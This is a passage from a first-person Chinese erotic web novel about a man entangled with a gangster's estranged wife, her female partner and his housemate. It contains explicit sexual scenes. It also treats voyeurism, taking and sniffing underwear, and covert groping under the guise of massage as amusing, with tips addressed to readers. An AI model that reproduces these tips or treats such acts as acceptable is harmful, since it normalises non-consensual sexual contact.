「哪里,我跟您学的。」以子之矛攻子之盾,兵来将挡水来土淹,谁怕谁啊。

她气势受阻,颓然的往后靠在墙上,良久无言。

不过,她看起来并不是挺生气的,这一点倒是很出乎我的意料之外,我还以为会上演个泼妇骂街之类的戏码哩。这中间也许还有些古怪。

服务生先送来我的饮料,我默默的喝了两口。

「你跟她上过床了吧!」她若无其事的问。

「咳!咳!」我可是当场呛到,哪有女人会这样直接问这种问题的。

她倒是一脸得意样,似乎把我弄得这幺窘是件很愉快的事,大概是觉得重新佔了上风的关係吧。

「咳!呵呵..咳..妳希望我回答什幺?」我说。

「老实回答!」

「没有!」我爽快的说。

「说谎!」她说。

「是啊!」我面不改色「妳明明都已经知道答案了还问我。」

「你!」

「我怎样?我也只是要你也老实一点,不用拐弯拐弯抹角明知故问了。」

「你...很...怪。」

「怪?某方面跟妳比还好吧。」我不客气的说。

「你!」她气鼓鼓的,显然这句话刺到她的痛处了。

「我只是如妳所愿的很老实。」我说

「对不起!我错了!我不该说那样的话,我道歉。」我很快的又接着说。

「你....」她大概不知道如何对付我这种无赖招吧。

「唉~~」她叹气。

「你很不一样....」她又说。

「不一样?还好吧,我可不是怪人啊。」

「我的意思是说,你跟她以前所接触到的男人都不一样。」

「以前接触到的男人?」『她是啥意思?』我想。

「哼,紧张了喔」她一副嘲弄的表情「不是你想的那样啦。」

「你对她了解多少?」她接着开口问。

「不多。」这绝对是真的。

「你知道吗。你不离开她,你会有生命的危险。」

「喔?妳有準备王水吗?」我开玩笑的说。

「王水?哼,还会说笑,你要是知道她的身份,你恐怕就笑不出来了。」

「喔?她的身份有啥可怕的?她是虎姑婆?巫婆?还是外星人?」

「哼,当然不是,她是公主。」

「嘿!公主!妳别逗了好不好,都什幺时代了还公主勒,妳怎幺不乾脆说她是皇后勒。」我嗤之以鼻。

「没错,现在的她你的确也可以说她是皇后。」

「喂喂喂,妳吃错药了喔,愈说愈离谱了。」

「我没夸张」她顿一顿说道「她是黑帮公主!也是黑帮皇后!」

「啊?妳别胡说了好不好,黑帮什幺的还好,只是她怎幺会是公主又是皇后的,乱了谱吧!」我有点怀疑她的精神状况。

「我没有说错,她以前是黑帮老大的独生女,现在是黑帮老大的女人,你说她是不是公主,又是不是皇后?」

「啊?!妳是说真的吗?」这个答案倒真的有点吓人。

「我没必要骗妳,你难道都没发现你已经身在危险之中了吗?」

「啊?」我楞了一下「你是说‧‧‧」

「你有注意到了吧,最近你家附近是不是出现一些以前没看过的怪怪的人。」

「嗯。」我不得不承认,我甚至还打电话要宜静回来时小心一点,没想到,这些人是针对我而来。

「你不用担心太早」她说「他们不是针对你而来,但是如果让他们知道你跟杨英的事,那后果你自己想吧。」

原来杨英竟然有如此的背景,难怪她花钱如流水也不皱一下眉头,个性又是那幺的大而化之,原来她是个从小被人捧在手里,一切事情都会有人出头,绝对没人敢惹她的黑帮大小姐。

「我会有危险,那妳呢?你不危险?」我发现她的说辞似乎有着天大的漏洞。

「我?哼哼‧‧‧,你说,一个黑帮老大是怕戴绿帽子呢?还是怕他老婆的跟『闺中密友』、『手帕交』的来往多一点?」她笑笑的说。

嘿嘿,好个『闺中密友』,真是个好掩护啊!闺房中亲密的女朋友,真是神不知鬼不觉啊!中国文化博大精深,居然这幺厉害,早早就发明了这样的名词当作女同性恋的护身符,看来中国古代的女人真是厉害呀~~而眼前的女人也不简单,一副就算要死也是你先死的表情,真是讨厌。

服务生刚巧端来比萨。

「不说了,吃比萨吧!」我说。

她瞪大了眼睛看着我,似乎看着一只稀世怪兽似的,一副难以置信的样子。

「你还吃得下?」她问。

「吃啊,为何不吃。」

「你不担心?」

「担心?有啥好担心的?」

「你不怕你跟杨英的事情被她老公知道了要来杀你?」

「怕~~我怕死了,我怕再不吃我会饿死了。」我说。

「你!」

「拜託,有什幺好怕的啦,第一,我跟杨英是不会说的,第二,妳要是想说,老早就去说了,不用跟我在这边坐着吃比萨,第三,我跟杨英不会在外面公开亲热,在家里则是关门关窗。请问,谁会知道了?」

「你....还真大胆呵。」她笑着说。

「哪里,不是我大胆,是我会分析!」我说。

「嘿嘿,上了黑道大哥的老婆你还能面不改色,你再怎幺会分析,只要有个万一,你绝对会尸骨无存的,你想想吧。」她一副揶揄的脸,一看也知道她不是很认真。

「放心啦!到时候我一定跑得很快。」我轻鬆的说。这种时候不说大话,这辈子大概也没有机会装得这幺潇洒了。

「你真的很不错,果然值得杨英冒险...」她定定的看着我说。

听了这话,我心中升起一股难以言谕的感觉,我跟她居然还有点...像。像在哪一点,说不出来。真的,我感觉我似乎有点了解她了。

店里面放起一首古老的歌,大概是张清芳跟笵怡文的歌吧。

『从你信中我才明白 这些日子以来 在你心中已经有了 另一个女孩

 我知道爱情不能勉强 但是我还是无法释怀

 认识你只不过是最近的事情 感觉上却好像是早已和你熟悉

 可是我不断想起 你的另一段感情

 我是不是该离开你 我不想介入别人故事

 我是不是该离开你 我不想和别人分享你

 请你告诉我 我问我自己』

听着这首歌,两人相视一笑。真是有点尴尬。

说起来真是奇怪,我跟她现在既像情敌也像战友,我们两共同要争取的都是杨英,共同要对付的是杨英的黑道老公。偏偏,我跟她却是一男一女。

其实,她刚刚一笑,真是非常有女人味,原本就长相、身材这些外貌来说,她已经是个不折不扣的美女,只是我先入为主的印象,知道她是同性恋,又是我的情敌,因此很难跟现在的她搭在一起。

「吃吧吃吧,这个比萨不错的,趁热吃啊!」我转个话题说。

非限定茶坊,这名子取得好啊!这里果然是很难限定我的未来啊!哈哈哈!

『碰!啪!』长角的你还没死喔,你放什幺烟火啦。

『主人啊~我太佩服你啦,居然连Jack也搞定啦!我们可以準备4P,4P大战啦!』

靠!我吃麵你在旁边喊什幺烫!不过,我还真有点小小佩服我自己哩。

『好吧!我就准你去预备吧!』

『是!主人』碰的一下子他就不见了。

『咦?那个老头,这次怎幺不见人影?』没看到他还真有点怪。

接下来这餐饭就好吃多了,她跟我说了许多有关杨英身世,还有她跟杨英的事。这听来有点奇怪,我跟她不是还算半个情敌吗?但是她跟我却说了她跟杨英的故事,而我也跟她说了我跟杨英的故事。

不消说,我跟杨英的故事她听了可是笑得东倒西歪。

从她的叙述中,我才知道,杨英原本是一个黑帮堂口大哥的独生女,她的妈妈老早在生下她之后就过世了,因此,她几乎可以说是生长在一个完全是男生的社会中,除了Jack。

Jack是她家帮佣女佣的女儿,因为家境不好,Jack的妈妈也常常带她去帮手,因此跟杨英结下了不解之缘。由于她跟杨英从国小到高中都同校,她又比杨英大,所以杨英从国中起就叫她学姊。

然而,由于杨英老爸所属的帮派大哥过世,换上新一代的大哥,新一代的大哥喜欢杨英已久,杨英的老爸为了巴结他,居然硬是将杨英嫁给那个大哥。杨英嫁过去之后,一个月不到就逃了,从此不再回去,一直跟Jack住在一起。

那个黑帮大哥也不在意,反正女人对她来说是呼之则来挥之则去,杨英跑了也无所谓,反正他已经玩过杨英,不再稀奇,只是名义上杨英还是他的老婆。

不过,要是他知道我让他戴上绿帽子,那这口气还是嚥不下去,一定会把我大卸八块,无庸置疑的。

杨英之所以叫杨英,据Jack说还是她自己改的。在她离开那个老大之后,她就开始自称杨英,不再叫李英扬。而跟Jack发展成一对也是那时候的事情。

「不过怎幺想也不对,她老公怎幺容许妳们‧‧‧」我问。

「他是不允许啊!所以上次派人追到垦丁,把我打伤了。结果,杨英以死要胁,跟他说,如果他敢再动我,她会自杀跟我一起去。她老公想一想,其实我跟她在一起他也没吃啥亏,反正也不是真的戴绿帽,于是就勉强答应她了。所以,我现在才可以跟她在一起而没事。」

原来上次杨英在垦丁失约是因为她受伤住院了。

「不过,你就不同了,你是男的,他再容忍也不能忍受戴绿帽子啊!你了解吧!」

「嗯」我开始担心晚上回家时,会不会突然就被人间蒸发,消失无蹤。

「所以,我是为你好才要你跟杨英分手的。」

「可是,照你这幺说,我应该早就被他给干掉了啊?」

「哼,那是我帮你掩护,跟他们说,你只是他的房东,要不然,你现在已经被丢到海里餵鲨鱼去了。」

「呵,看来我还欠你一句谢谢。」这女人除了没说之外,还帮忙说了谎掩护我们,这是一定要谢的啦。

「不用,我这是为了杨英好。」Jack又顿了顿才接着说「最近的她‧‧‧很开心‧‧‧很‧‧‧放鬆,尤其是她居然可以接受男人了!」

「我一直希望我可以帮她,但是,没想到‧‧‧‧似乎你比我有用。」

「嗯」我无言以对。

「我还真有点矛盾,一方面希望你离开她,一方面又希望她可以继续这幺开心。」

我现在似乎可以稍稍了解她们之间的关係了,但是,还是有很多不懂的地方,不过我也问不出口。

我消化过她们的故事之后,我总算是稍稍了解杨英了。

「她似乎有一种要把一切颠倒过来的心态,从她跟我在一起之后,她整个人都变了,变得什幺都无所谓,什幺都好,随她心情,想怎幺作就怎幺作。」Jack又这幺说。

关于这一点,我已经领教过多次。

我跟她说了前几天她刚来那晚的事情,她听得是目瞪口呆,难以置信。

「喂,你那时候怎幺这幺敢!」她说「居然还可以跟杨英这样,你真的很敢耶。」

「哼哼」我苦笑「男人的生理冲动常常不受理性约束的,尤其是杨英她是那幺的大胆。那幺的有..魅力...」

「呵呵,真是好玩,要是被揭穿了,你怎幺办?」

「怎幺办?」我假装认真的思考一下说「那我下次改追妳,妳跟杨英是一对,我跟妳们也是一对一对的,刚刚好,谁都不吃亏。」

「你!」她显然当真了「你真的这幺想?」

「骗你的啦!那时候我又不知道妳是这幺漂亮,我还以为妳是个男人婆哩。」

「喔...」她倒是有些不好意思起来。「可是...咦?那时候你应该还不知道我的存在,你怎幺会以为我是男人婆?」

「啊!」我靠!这幺快就被拆穿谎话「我...」

「哼哼,说谎话也不先打草稿。」

「呵呵,有什幺关係嘛,听了高兴就好啦。」这种状况只有厚着脸皮耍无赖这招可以用了。

说说笑笑吃完这顿饭,跟我原先预期的真是差了十万八千里。

「好了,我要走了。」她说。

「走?」

「嗯,回家啊,我还在修学位,还有工作,不能再在你这里住下去了。」

「喔」难怪穿得那幺像上班女郎。

「那幺我把她暂时交给你了。」她说。

「嗯」

「她老公那边,我不会去揭穿,但是你们自己小心了。」

「嗯,谢谢妳。」

「不,我要谢谢你」她说「知道杨英跟你在一起很开心,我也很开心,只是...总有一天,我会跟你抢回杨英的。」

她愈说愈小声,最后都靠到我的耳边说了。我闻着她身上的香味,有点心猿意马魂不守舍。天啊!那个领口开开的,我看到了!

「噢!」

她突然咬我的耳朵一口。

「记住了吧!」说完她就头也不回的走了。

看着她离去,我开始怀疑,我这样没事找事,自陷泥淖有何好处?老实说,杨英虽然迷人,但是我很明白,这还不是全然是爱情,尤其是一直以来,我是都处于被动的地位。事实上可以说是杨英在玩她自己的游戏,我只不过是她碰巧遇到的有趣玩具罢了,我真的不知道,我是不是真的爱上她了。

但是,是已至此,我还是决定继续陪她玩下去,只是我又想到,宜静呢?宜静又是如何呢?

从一开始,我就是被动的被两个女人牵着鼻子走,这一路走来,有意无意之间,竟然然演变成一种怪异的三角关係,但是却似乎又不是。Jack的出现,让这情况更是不清不楚。

老实说,我可能真的是个大浑蛋,脚踏两船,但是偏偏我又不确定我是不是已经爱上任何一个人。套句宜静的话,她说:她前男友什幺东西都送了,就是没有送给她戒指。而我呢,跟她们两个,什幺事都做了,就是不确定有没有爱情。

我继续坐到傍晚才回家。

可是有点不太对劲!我还没到巷口,远远的就发现巷口多了好几个刺龙刺凤的人物,在那边晃来晃去。

一定有事发生了!该不会是事蹟败露了吧?!他们是不是来抓我的?我该怎幺办?

正在犹豫要不要过去时,我的手机突然响了。

「喂~」咦?是杨英。

「杨英喔。」我说。

「大雄,你在哪里?你快点回..啊~~」杨英的声音听来很急,没说完就挂了。

该不会出事了吧!杨英是在叫什幺呢?她是不是已经被抓起来了?如果是,我这样过去,不是刚好自投罗网了吗?看巷口这一票人的样子,很有可能是她老公杀过来了。

天啊!什幺人的老婆不上,偏偏上了黑道大哥的女人。我到底该不该去救杨英?我是她什幺人?小白脸?姘头?她可是有夫之妇啊!我跟本没立场,而且躲都来不及了还想救人。

但是我刚刚才亲口跟Jack说,我会照顾她,但是现在呢?我到底在犹豫什幺。

可是,话说回来,Jack也不是她什幺人啊!一个姘头交代另一个姘头照顾两人共同的女人,然后我就答应了,甚至那个姘头还不是真的姘头,而是她的闺中密友。这是什幺跟什幺嘛,天下大乱了。

不然叫警察好了,但是怎幺报案?说我姘头被她老公抓回去,请警察帮我赶她老公吗?这不成了『乞丐赶庙公』,根本就是笑话嘛。

不过,该面对的事还是避不了,总会有避不了必须面对的一天,那还不如早早面对他,解决问题。

但是,也不能拿生命开玩笑啊!

我在巷口外远处犹豫着,东想西想,实在是想不出办法,巷口被堵住,又没有别的路走,如果要回去,实在是没有不被发现的道理。

不行!不管了!如果他们是要来抓我的就抓吧!我怎幺可以把杨英一个人丢在那边不管,而自己躲得远远的。

死就死吧!

好像男人天生就该做这种傻事。

电视剧里面不是都这样演的吗,男主角明明知道回去必死无疑,只是一旦成为主角,便只好用一副潇洒至极的表情,走路都会有风把大衣给吹起来的姿态,慷慨赴义。

不过说实在的,听到杨英那一声大叫,如果我不去弄清楚,我永远都不安心。

但是,也不能就这样过去吧!回想电视里面每次遇到这种情况,要嘛就去化妆变成另一个人的样子,然后找另一个人来演一下。不然也有拉高大风衣的高领子,压低那幺凑巧戴着的帽子,也可以骗过那些跟瞎了眼差不多的小配角坏人。

不过很抱歉,这些我都办不到,我当然没本事化装成另一个人的样子,更不会那幺变态,在这幺热的天穿大风衣,还拉高衣领,骗那些假瞎子。我要是真的这幺作,大概只会更吸引所有人的目光吧。当然更不能期待那些人会跟电视剧演的一样,突然间都跟瞎了一样看不到我。

不过还好我聪明!小说看得多总是有好处,我知道有一招『声东击西』是真的可以做到的办法!只要想办法在旁边弄点事,让他们被吸引过去,那就好办了。

只是要用什幺事来『声东击西』好呢?

嗯,我还没想到。

不过,你别笑我!不要以为我真的只剩一只嘴说说而已!

因为,上帝是与我同在的!‧‧‧是吧‧‧‧应该是‧‧‧吧‧‧‧

再不然,撒旦也会帮我吧!是吧!咦?‧‧小家伙?!‧‧怎幺两个都不见了。

不管啦,反正就是那幺巧,警察刚好来这边巡逻,警察大概看他们的样子可疑,于是就在巷口问他们要身份证,我看他们应该不敢这样动手抓我,一时也走不开,趁机快步就钻了过去。

可是,过了一关还有一关,屋里发生什幺事了我还不清楚,八成也是一堆人拿着刀拿着枪在等我吧,只是我是没有多少时间犹豫的了,要是待太久,巷口那些人等警察走了,会很快进来的。

这次真的不死不行了,把心一横,轻轻的开了门,再轻轻的一点一点推开,要是没有被察觉我回来了,也许还有机会吧?

门开了一个缝,还好上次这烂门我有上过油,现在是一点声音都没有,而屋子里也是一样,一点声音也没有。

还好,还没被发现。

我慢慢的开,终于,我可以探头进去看了。

这一看可是吓了我一跳!

没有半个人!

怎幺回事?他们不是在里面吗?还是已经离开了?不会吧,如果离开了,我一定会看到的,那幺一定是在更里面了?!

我悄悄的进了客厅,安静的关好门,上锁。

他们会在哪里呢?大概是杨英的房间吧。

我蹑手蹑脚的走到她房门口,房门微开,灯光从门缝透了出来。

我还没靠过去,居然听到了呻吟声!

他们居然在折磨杨英!

这怎幺可以!在我的地盘,天都还没黑,怎幺可以这样胡来。

我几乎要伸手拍门进去了。

但是转念一想,不知道里面有几个人,我这幺一进去怎幺打得过人家,就算是只有她老公一个吧,人家是黑道混的耶,我能不能打得赢都有问题了,搞不好人家掏出把黑星还是九零,根本不用打了。

我又犹豫起来。先看看再说吧!

我靠过去门缝一看,不得了!真是下了我一大跳!

还好刚才没有开门就冲进去,原来里面是两具赤裸裸的女体,交缠在床上,正在作着她们爱做的事啦!

是谁呢?一个当然是杨英了,另一个呢....

被杨英跟棉被挡住了,看不出是谁,不过大概是Jack吧!

Jack说她要回去了,我想她们来个临别秋波,重温旧梦,複习功课一下也是很正常的啦,不为过嘛。

那我该怎幺办呢?

『主人啊~』白衣老头好久不见啦,又出来了『你该去大门口用力关门,让她们知道你回来了,这样她们就会停止了。』

这老头说的真是圣贤之言,字字有里,让我汗颜啊!可是去你XXXX的,我又不是柳下惠,更不是和尚道士,你要我这样做,先阉了我再说吧,况且就算你真的阉了我,我也不会这样干。

『主人英明!没有被这个死老头骗去』小黑又拖着箭头尾巴跟着出现『我太佩服了,主人真是猪哥亮再世..』

『停!你以为我听不出来吗?你那个"亮"字为什幺说得特别小声,又跟前面断开,你分明是想说我猪哥!』

『是是是,是我不好,不该吞口水的。』小家伙很会转啊!

『不过,我的提议,主人你不可不听』他认真的说。

『哼哼,说来听听』

他无视于我的语气带着的威胁继续说。

『老大啊,你应该拍门进去,当面揭穿,然后她们会邀请你加入,然后就可以一起来个3P大战了!』

『去你的,你当我白癡啊,这可是现实生活啊,你以为在拍西洋A片吗,这种事情是不可能发生的。』我準备好好给来他一计佛山无影脚。

『等等,我还有第二招!』

『说』

『那幺这样子最好了,你去拿照相机,然后拍门进去,迅速的拍几张照片,然后威胁她们要公开照片,她们一定会求你不要公开,你就可以要求她们两个位你服务,一箭双鵰,一砲双响!哇哈哈,不错吧!』

『嗯,不错不错,嗯,可是我没有底片啊!』

『没关係,反正闪光灯闪一闪,就可以骗人了。』

『嗯,有道理,咦?我屁股凉凉的你帮我看看是不是裤子破了』

『噢,没有啊老大...』

『没有喔,那你吃屁吧!』我用力坐着他的头,还放个屁给他闻『我说你是日本A片看多了喔,这种滥招拿去骗骗日本笨美眉还是精虫蚀脑的色男一族还可以啦,这招要是能用,猪都可以爬树了。你吃屎吧!』

『不要啊~~老大~~』

『嗯!!』

『靠!便秘好几天拉不出来。算你好运,给我滚吧你,吃我佛山无影脚~~』

这两个非人类的话都不能听,我继续站在她房门口偷窥。

是的,就是偷窥。你要问我偷窥有什幺好玩的?你可不知道了,那真好玩了,透过偷窥,我才知道了原来女孩子同性之间是怎幺玩的,可真是大开眼界了。

比起看偷窥的A片那种隔靴搔痒可好太多了,既不会画质不好,也不会出现停格跳格,而音效更是生动,尤其是那种可冒着能被发现的危险的刺激感,你在看偷窥的A片哪有可能体会得到,但是最重要的是,没有马赛克啦!

是男人都知道,看到那个马赛跟克喷雾是件多幺可恨的事!

只见到杨英一下子趴在Jack身上,东摸摸西抠抠,左亲亲右揉揉,虽然大不份不是直接看到而是被杨英身体挡住,但是光看杨英的动作,补上自己的幻想,那就是超一流的享受啦!

有过偷窥经验的人都知道,其实偷窥的乐趣就在于那似有若无,得之我幸,失之我命,那种患得患失的不确定性,再加上被抓到的犯罪感。可以看到你在A片中看不到的,生活中最自然的演出,那才是最棒的了。

当然,若是自己主演的话就更好啦!但是,别傻了吧!还是快快看吧。

杨英的身材,不用说,我是看过的了,白皙有弹性的皮肤,浑圆俏挺的臀,要是可已伸手摸她一把就好了。这些没什幺,已经看过了,最吸引的应该是那个看不太到的另一个人Jack了!

刚刚在茶坊已经看过她那迷死人的双腿,差点眼珠子都要掉下来了,现在有机会一览无遗,那还不努力的看才怪。

男人就是这样贱,看过的不稀奇,还没看过的才珍贵。萧蔷之所以艳名不墬,那还不是因为她不拍写真,哪天她真的拍个漏点写真,那不出半年,绝对有另一个女人会取代她号称台湾No.1美女的地位。

虽然被杨英遮住了大部分,但是还是够让人热血沸腾了,她的一双腿被杨英分开成八字形,空中晃啊晃的,好像在跟我招手似的,真想冲上去很很的咬它一口。

杨英埋首在Jack双腿中间,头一上一下的,想也知道她在干嘛,耳朵传来一阵阵的呻吟声。我好像中了武侠小说里说的『万蚁穿心』似的,浑身上下热痒难搔。

「嗯~~喔~~吁~~」

天啊!好勾人的呻吟啊!比起印象中的杨英还是宜静的声音,还要勾人三分。那是一种舒服到了顶点,从牙缝里钻出来的萎靡呻吟,简直可以销魂蚀骨,把人给化了去。

难怪那天宜静会红着脸说「好舒服」,也才会任由杨英玩弄如此之久,这杨英的本事可真是不得了,我改天应该好好跟她学习学习。

不过也亏得杨英有这一手本事,要不是那天宜静同时也被杨英这样挑逗着,我看我跟杨英偷偷打的那一炮绝对不可能不被她发现。

嘿嘿,或许杨英是故意挑逗她,引开她注意力,这样才能跟我玩刺激的呢!也许,这一切根本是她设计之下的游戏吧!

才一分神,杨英居然不知从哪里拿出一根银白色的按摩棒来了,又或许刚刚就已经是用那根按摩棒在弄着Jack了,只是我看不到而已。

杨英屁股对着我,把那根按摩棒慢慢的插到自己的穴中,按摩棒努力震动着,低沉的鸣声让人无限遐想,要是我是那根按摩棒就好了!

「达....达....达....」震动的声音随着杨英一下插入一下抽出而有着强弱的变化,我真佩服我自己,居然可以发挥人类听力的极限,连这样细微的变化,此时都是清晰异常。

我偶然眼光偏低,突然发现一件黑色的内裤,掉在接近门口的地板上!

这!这是Jack的内裤吗?!刚才在茶坊就怀疑她穿的是黑色的,现在看来可能是真的,因为我不记得杨英有这样的内裤!

嘿嘿,别怀疑我怎幺知道,杨英跟宜静根本不介意,每次洗完的内衣裤也是这幺大剌剌的就吊在那边,所以我根本不用去偷翻,老早就一清二楚了。

我的手不待吩咐,自动的就从门缝钻进去,安安静静的取回了那件内裤,等我发现惊醒时,那件内裤已经在我面前展开。好乖好聪明的手啊!呵呵

我还没变态到像孟波一样,把内裤拿来头上当帽子戴,但是真的是忍不住好奇心,拿到鼻头闻了几下。

啊!就是这香!就是这香!刚刚我闻到的,就是这味道没错!这是Jack的!

正在陶醉,门铃突然响起!

是谁来了?!

我听到杨英房里一阵穿衣的唏嗦声,我才猛然想起来,她们不知道我回来了,所以要去开门,那我还在这里不是要穿帮了!

我二话不说,以最轻巧快速的方式,安静的躲到我房间,关起门。

刚躲好,杨英已经出来开门了。

「咦?!是你喔!我还以为是大雄回来了。」

「我忘了东西,回来拿的。」

轰!

这声音我知道!

是Jack的声音!

那刚才在杨英房里的是谁?!

「喔,什幺东西,我帮妳拿」杨英说。

「是笔记本啦,放在你桌上忘了收。」Jack说「我自己拿吧。」

「啊,不用啦!你坐,我帮妳拿。」杨英急着说。

「你怎幺了?我自己拿就好啦!」

「喔,不要,我帮妳拿。」杨英如说更是引人猜忌。

「你怎幺了?谁在你房里?」Jack分明已经起疑了。「大雄吗?」

「大雄!?不‧‧‧不是‧‧不会啦,你想到哪里去了。」

这种时候,我不出来是不行了!

「Jack!妳怎幺回来了?」我装做刚刚睡醒的样子,从我房间走出去。

「大雄?你在睡觉喔?」Jack问。

「嗯,是啊,妳不是回去了吗?」

「我东西忘了拿,回来拿的。」

「喔,那妳搭车来得及吗?」

「快来不及了‧‧‧」

「哪,妳的笔记本。」杨英取出她的笔记本交给Jack。

「喔,谢谢!」Jack说。

「那我骑车载妳去。」我说。

「对啦!大雄载妳去会快一点。」杨英说。

「喔」

「快!走吧!」不等她反应过来,我拉着她就走。

「bye bye」杨英送我们出来。

送走Jack,回到巷口,那一帮混混全都不见了,这次倒是轻鬆过关。

回到家里,只见杨英在餐厅吃饭。

「宜静呢?」我问,因为这分明是宜静烧的菜。

「她先去洗澡了。」

「这幺早就洗澡喔。」我随口说。

「喔,刚才我害她的衣服喷得一身酱油,所以她煮好饭去洗澡了。」

「喔~,难怪刚刚妳电话一声惨叫。」

「是啊是啊,聪明人。」她说。

我大概猜得出来当时的情况了。一定是杨英趁宜静换衣服,继续了她上次未完成的挑逗游戏,只是她们怎幺会到杨英的房里我就不懂了,不过对杨英来说应该是有她的办法,不需要怀疑。

「喔」我随便应了一声,便去添饭準备吃晚餐了。

「拿来!」杨英说。

我坐下后还没开动,杨英又丢了这话过来。

「拿什幺?」我问。

「还装,拿来!」

「拿什幺啦?」我突然想到我口袋里的东西。

杨英招手要我过去看她的短裙。

我没想太多,依言靠过去看。

「看!」

突然间杨英对我掀起她的短裙。

「啊!」

她里面没穿内裤!

害我当场差点喷鼻血。

「知道了吧!拿来!」她又说。

「我‧‧‧‧」我不知道该说啥,只好乖乖从口袋取出来。只是我很怀疑,怎幺这内裤不见杨英穿过。

「我才刚刚拜託Jack帮我买来的新内裤,你也敢偷!哼哼‧‧‧」

「我‧‧‧我哪有偷‧‧‧我‧‧‧我是在妳门口捡的‧‧‧」

我这一说就知道不妙,果然杨英立刻就说。

「捡的?说!你偷看多久了?」

「我‧‧‧‧」

「你看到什幺了?」杨英又问。

「‧‧‧‧」

我不用再猜想也知道刚刚她跟谁在一起,可是又该说什幺呢?

「唉~~」我深深的叹口气。

「你干嘛?」杨英问。

「唉~~」我又叹口气。

「你叹什幺气啦!」杨英不耐烦的问。

这一招拖延兼转移目标法第二次生效,我已经知道我该说啥了。

「杨英‧‧」我顿一顿又说「妳到底喜不喜欢我?妳是在玩我吗?」我故意用哀伤的声音低着头说,说完抬头看她。

「你!」

「你对宜静又是什幺心态?妳爱她吗?」

我这话直接点破目前的关係,对她来说不知效果如何,但是我知道,如此一来一切都表面化了,这下子不是生就是死了。

我听到宜静房中有点细小声音,我知道,她也在听。

杨英啊,杨英,妳到底会怎幺说呢?

不知过了多久,杨英终于开口。

「那,你对我跟宜静又是如何选择?」

这句话让我胸口如撞大石,顿时闷绝。

是啊!我质问杨英,那我自己呢?又何尝不是如此?

房子里瞬间一片死寂。

『嘟嘟嘟..嘟嘟..』杨英的手机突然响起。

「喂~」杨英接起电话,走回房间去。「嗯..喔?..嗯..好,我知道了,我马上回去。..嗯...」

我只听到这里,接下来的对话已经听不到了,这只够让我知道,她似乎有事情要回去处理。

一会而后,杨英匆匆忙忙的提了包行李就出门去了,也没有再来逼我回答问题。这样一来,似乎暂时又让我们之间事情暂时搁下来了,这到底是好还是不好我也不知道,但是,至少我眼前不用立即作出抉择,也无须表态,大家暂时就骑驴看唱本--走着瞧吧。

我重新坐下来吃饭,宜静已经洗好澡出来了。其实她刚刚也应该有听到我跟杨英的对话吧,但是,我可是一点都不敢提起。也许大多数的人都这样吧,或多或少都有些驼鸟性格,能免则免能避的就避,避不过了就生气。如果你不是这样的人,那恭禧你了!你这个人成功的机会比别人大上好几分了!

「大雄,你回来了喔」宜静说「啊!菜都凉了,我帮你热热。」

「喔,没关係啦,你去休息啦。」

「没关係啦,我很快的啦,吃冷饭冷菜不好啦,等我一下下喔。」

她快手快脚的抢走桌上的菜餚不给我吃凉的,很快的一一把菜重新热过。

看这她忙碌的背影,我心中突然一阵莫名感动,眼眶微微热了起来,几乎就要掉下眼泪了。

她应该是最委屈的人吧!但是她却是这幺的....唉不会形容啦。

在我们三人中,我是男人,杨英是个主动的人,我大享齐人之福,杨英也不逊于我。唯有她,一直是默默的接受着我们的行为,跟我上了床,跟杨英也有一腿,她却甚至没问过我是否真的喜欢她。

刚刚我跟杨英近乎吵架的诡异对话,虽然都有质疑对方对宜静该如何对待,然而,真正的主角宜静却没有发表过任何意见,即使她是在房间里听到了,但是她却选择了沉默以对,甚至还要在我面前装傻。

心疼啊!真是心疼的感觉,我真的是很对不起她吧。

「好了好了,可以吃了。」宜静果真手脚超快。

「宜静」

「嗯?怎幺了?」

「妳...真好。」我不知道该说啥话,笨拙的舌头只吐出真好两个字。

「啊?你...」宜静似乎被这两个字给困惑了。

「嗯,真好吃,好吃。」我大口吃饭吃菜。

「呵呵,你吃慢一点吧!别噎着了!」

宜静饶有趣味的看着我,一副心满意足的样子,我偶一抬头看她,她总是微笑的看着我吃。

「妳别一直看着我吃饭吧」我说「我觉得很奇怪呢。」

「喔,对不起喔,那我去看电视好了。」

我吃过饭后也去客厅看电视,我霸佔住长沙发,躺在上面,舒服的看着,宜静把沙发让给我之后,没换去旁边的小沙发,直接坐在大沙发前的地毯上靠着沙发看。电视上正在拨着宜静爱看的日剧『第一零一次求婚』。

刚洗完澡的她身上香喷喷的,尤其是靠近我的头髮,乌黑油亮又相气袭人,我忍不住就一边看着电视一边玩着她的头髮。

有时我用手指顺着她的头髮梳下来,有时候拿来捲在手指上,又或者乾脆拿上来鼻端闻闻香味,宜静除了偶而在我手指搔到她脖子时微微躲开,发出嗤嗤的低笑之外,就是那幺的安静柔顺,彷彿一只安静的小猫咪。

我渐渐大着胆子,从偶而的搔搔她脖子,渐渐的换成帮她按摩着脖子肩膀。我按摩的功夫从小到大也在妈妈身上演练过多次,技术还算可以,因此她不时的发出舒适的轻吟。

到这边为止,只要是有经验的人都知道,在这种状况下是最容易擦枪走火,只要有心很容易就进到另一个阶段。我本着好色天性,双手从规矩的按摩渐渐的变成在她的项背之间游走。

我往她的背上似按摩而非按摩的摸去,按过了大半个背部,确认了她跟以往一样没有穿内衣,只穿了件睡袍。这样的动作可是要相当的熟练度才行喔,不然要是这幺白目的一下摸下去,母猪都知道你想干嘛了。

说到这儿,忍不住要跟天下的男生们叮咛一下,有机会要好好孝顺父母,像我当年不是刻意的训练下所练出的按摩绝技,如今有了机会用上,这才惊觉,原来『百善孝为先』真是至理名言,古人真是教训得是,当年孝顺的功夫,如今变成求爱利器,实在是意料之外,好用至极。

我有意无意的往她的腋下按摩去,各位想当然知道我的意图了,可是有经验的就知道,即是女生身材再好,没穿内衣,坐着的时候也不会外扩到你摸摸腋下久可以摸到什幺东西的。要是真的让你摸到了,你大概要赶紧送她去医院了,因为大概是隆乳失败,水袋跑到不该去的地方了。

这样我当然是愈按摩心愈痒了。

你可不要骂我大色狼,刚刚才跟杨英吵过,趁她刚好有事回家,我色心就大起,说实在的男人本来就是这幺色!十个男人有十一个色,多出来那个是像杨英这种色女色过界的。

我敢保证,要是杨英不是回家去了,晚上她一定还会来勾引宜静妹妹。

嗯,我是这样想啦。

我要是不这样想,我良心会不安,但是我不想良心不安,所以我确定一定是这样!

我换目标,改成按摩她的手臂,甚至我已不再躺着,而是坐了起来双手齐下。

换成手臂有啥好处?那是当然有的了,首先,我可以再按摩的时候不经意的轻轻碰处到她的胸部,例如用手掌握着她的手臂时,指尖可以趁着一抓一放之际,偶而轻轻的点到她的胸部。至于其他方式,请自行研究恕我不公开了,好招我要留着自己用。谁叫你们当年没要像我一样孝顺父母。

